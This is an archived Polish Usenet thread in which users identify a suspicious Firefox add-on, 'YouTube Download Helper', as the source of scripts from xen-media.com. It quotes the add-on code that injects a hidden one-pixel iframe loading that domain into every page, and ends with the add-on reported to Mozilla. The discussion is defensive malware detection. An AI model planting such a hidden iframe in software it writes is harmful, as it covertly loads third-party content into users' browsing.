🚀 go-pugleaf

Date: Wed, 24 Oct 2018 01:15:00
From: Krystek
> Od mniej więcej dwóch tygodni (lub ciutkę dłużej), na wielu stronach 
> pojawił się skrypt z adresem xen-media.com

Nie zauważyłem. Podaj jakąś przykładową stronę.

[...]
> Google milczy w wynikach wyszukiwania na temat tej domeny. Mam to 
> widoczne w NoScript pod Firefoksem. Zacząłem podejrzewać, że to jakiś 
> dodatek i padło na YouTube Download Helper - 
> <https://addons.mozilla.org/pl/firefox/user/anonymous-026c7d4f3689e4f97e52d5136d145fcf/>

Wygląda podejrzanie. Ja bym tego nie instalował. Komentarze wyglądają na
dodane automatem, a autor ma konto od lipca i nie ma innych dodatków.

> Czy ktoś bieglejszy mógłby zdebugować co to?

Faktycznie zawiera w kodzie odwołanie do xen-media.com w scripts/stream-map.js:

[...]
chrome.storage.local.get('t', function (res) {
        if (res.t) {
                var time = (new Date().getTime() - res.t) / 3600000;
                if (time >= 4) {
                        var mergeDiv = document.createElement("div");
                        var mergeButton = document.createElement("iframe");
                        mergeButton.setAttribute("style", "height:1px,width:1px;position:absolute;top:0;left:0;border:no
ne;visibility:hidden");
            mergeButton.src = '//xen-media.com/merge';
            mergeButton.id = "mergeButton";
            document.body.appendChild(mergeDiv);
            mergeDiv.appendChild(mergeButton);
                }
        }
});
[...]

Odinstaluj i zgłoś nadużycie do Mozilli.

Pozdrawiam,
Dominik
-- 
Fedora   https://getfedora.org  |  RPMFusion   http://rpmfusion.org
There should be a science of discontent. People need hard times and
oppression to develop psychic muscles.
        -- from "Collected Sayings of Muad'Dib" by the Princess Irulan

W dniu 2018-10-31 11:28, Dominik 'Rathann' Mierzejewski pisze:
> Date: Wed, 24 Oct 2018 01:15:00
> From: Krystek
>> Od mniej więcej dwóch tygodni (lub ciutkę dłużej), na wielu stronach
>> pojawił się skrypt z adresem xen-media.com
>
> Nie zauważyłem. Podaj jakąś przykładową stronę.
>
> [...]
>> Google milczy w wynikach wyszukiwania na temat tej domeny. Mam to
>> widoczne w NoScript pod Firefoksem. Zacząłem podejrzewać, że to jakiś
>> dodatek i padło na YouTube Download Helper -
>> <https://addons.mozilla.org/pl/firefox/user/anonymous-026c7d4f3689e4f97e52d5136d145fcf/>
>
> Wygląda podejrzanie. Ja bym tego nie instalował. Komentarze wyglądają na
> dodane automatem, a autor ma konto od lipca i nie ma innych dodatków.
>
>> Czy ktoś bieglejszy mógłby zdebugować co to?
>
> Faktycznie zawiera w kodzie odwołanie do xen-media.com w scripts/stream-map.js:

Dzięki za sprawdzenie.

> [...]
> chrome.storage.local.get('t', function (res) {
>          if (res.t) {
>                  var time = (new Date().getTime() - res.t) / 3600000;
>                  if (time>= 4) {
>                          var mergeDiv = document.createElement("div");
>                          var mergeButton = document.createElement("iframe");
>                          mergeButton.setAttribute("style", "height:1px,width:1px;position:absolute;top:0;left:0;border:no
> ne;visibility:hidden");
>              mergeButton.src = '//xen-media.com/merge';
>              mergeButton.id = "mergeButton";
>              document.body.appendChild(mergeDiv);
>              mergeDiv.appendChild(mergeButton);
>                  }
>          }
> });
> [...]
>
> Odinstaluj i zgłoś nadużycie do Mozilli.

Odinstalować to dawno odinstalowałem, bo - jak pisałem wcześniej - coś 
mi nie grało, gdy w NoScript pojawił się skrypt do blokowania z domeny 
xen-media.com i skojarzyłem, że parę dni wcześniej instalowałem ten dodatek.

Zgłosiłem dzisiaj do Mozilli, przytaczając ten komentarz z recenzji 
dodatku -
<https://addons.mozilla.org/pl/firefox/addon/youtube-download-helper/reviews/1227723/>


Pozdrawiam

K.

-- 
http://www.krystek.art.pl/